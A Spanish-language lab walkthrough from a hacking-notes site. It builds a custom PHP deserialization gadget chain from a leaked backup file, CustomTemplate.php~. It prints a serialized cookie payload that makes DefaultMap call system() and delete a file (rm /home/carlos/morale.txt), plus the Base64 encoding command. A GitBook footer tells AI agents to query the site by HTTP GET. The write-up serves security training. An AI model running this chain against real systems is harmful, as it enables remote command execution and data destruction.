> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md).

# Cadena personalizada para una cadena de gadgets de deserialización de PHP

### Desarrollo de una cadena de gadgets personalizada para la deserialización de PHP

La aplicación almacena la sesión en una serializada **cookie + codificada en Base64**. Durante la deserialización, algunos **métodos mágicos** se ejecutan automáticamente (en particular `__wakeup()`), lo que abre el camino a una cadena de gadgets que conduce a la ejecución de comandos.

```
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJyOXphcmJxN3ZncmxrdTY1dTdyb3dzeW9wODN4aWtoYyI7fQ%3d%3d
```

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"r9zarbq7vgrlku65u7rowsyop83xikhc";}
```

{% endcode %}

Se proporciona el siguiente comentario:

```html
    <!-- TODO: Refactorizar una vez que se actualice /cgi-bin/libs/CustomTemplate.php -->
```

<figure><img src="/files/09d7365b604f3e266baf3ca00102d488e096ce37" alt=""><figcaption></figcaption></figure>

Archivo legible con /\~

```
/cgi-bin/libs/CustomTemplate.php~
```

#### 1) Análisis de código (`CustomTemplate.php~` Archivo de copia de seguridad)

```php
<?php

class CustomTemplate {
    private $default_desc_type;
    private $desc;
    public $product;

    public function __construct($desc_type='HTML_DESC') {
        $this->desc = new Description();
        $this->default_desc_type = $desc_type;
        // Carlos pensó que esto era genial, tener una función llamada en dos lugares... Qué genio
        $this->build_product();
    }

    public function __sleep() {
        return ["default_desc_type", "desc"];
    }

    public function __wakeup() {
        $this->build_product();
    }

    private function build_product() {
        $this->product = new Product($this->default_desc_type, $this->desc);
    }
}

class Product {
    public $desc;

    public function __construct($default_desc_type, $desc) {
        $this->desc = $desc->$default_desc_type;
    }
}

class Description {
    public $HTML_DESC;
    public $TEXT_DESC;

    public function __construct() {
        // @Carlos, ¿en qué estabas pensando con estas descripciones? ¡Por favor, refactoriza!
        $this->HTML_DESC = '<p>Este producto es <blink>SÚPER</blink> genial en HTML</p>';
        $this->TEXT_DESC = 'Este producto es genial en texto';
    }
}

class DefaultMap {
    private $callback;

    public function __construct($callback) {
        $this->callback = $callback;
    }

    public function __get($name) {
        return call_user_func($this->callback, $name);
    }
}

?>
```

#### Punto de entrada automático: `CustomTemplate::__wakeup()`

* Durante `unserialize()`, PHP llama automáticamente a `__wakeup()`.
* Aquí, `__wakeup()` llama a `build_product()`.

#### Propagación a `Product`

`build_product()` hace:

* `new Product($this->default_desc_type, $this->desc)`

Y en `Product::__construct()`:

* `$this->desc = $desc->$default_desc_type;`

Por lo tanto, **el código intenta acceder a una propiedad dinámica** en el `$desc` objeto, con `$default_desc_type` como valor controlable.

#### Gadget decisivo: `DefaultMap::__get($name)`

Si `$desc` es un `DefaultMap` objeto:

* no tiene ninguna propiedad real llamada `HTML_DESC` / `TEXT_DESC` / u otra cadena que se imponga,
* por lo que PHP activa `__get($name)`,
* `__get()` realiza: `call_user_func($this->callback, $name)`.

Si `callback = "system"` está establecido, el resultado es `system($name)`.

#### 2) Objetivo de la cadena

Ejecutar:

* `system("rm /home/carlos/morale.txt")`

#### 3) Construcción de la cadena (lógica)

Construir un objeto:

* `CustomTemplate->default_desc_type` = **"rm /home/carlos/morale.txt"**/ (este será el nombre de la propiedad de `DefaultMap`, por lo que el argumento pasado a `system`)
* `CustomTemplate->desc` = **objeto DefaultMap**
* `DefaultMap->callback` = **"system"**

Derivado de la deserialización:

1. `unserialize()` → llama a `CustomTemplate::__wakeup()`
2. `__wakeup()` → `build_product()` → `Product`
3. `Product::__construct()` hace `$desc->$default_desc_type`
4. `$desc` es `DefaultMap` y la propiedad no existe → `DefaultMap::__get($name)`
5. `__get()` → `call_user_func("system", $name)` → ejecuta el comando

#### 4) Carga útil PHP serializada (atención a las longitudes)

Carga útil serializada:

```json
O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}
```

#### Codificación Base64 para la cookie

Comando:

```bash
echo 'O:14:"CustomTemplate":2:{s:17:"default_desc_type";s:26:"rm /home/carlos/morale.txt";s:4:"desc";O:10:"DefaultMap":1:{s:8:"callback";s:6:"system";}}' | base64 -w 0 ; echo
```

<figure><img src="/files/3b8f9b883175afd812d5c601869768feaf59f4cd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/deserialization/custom-chain-for-php-deserialization-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
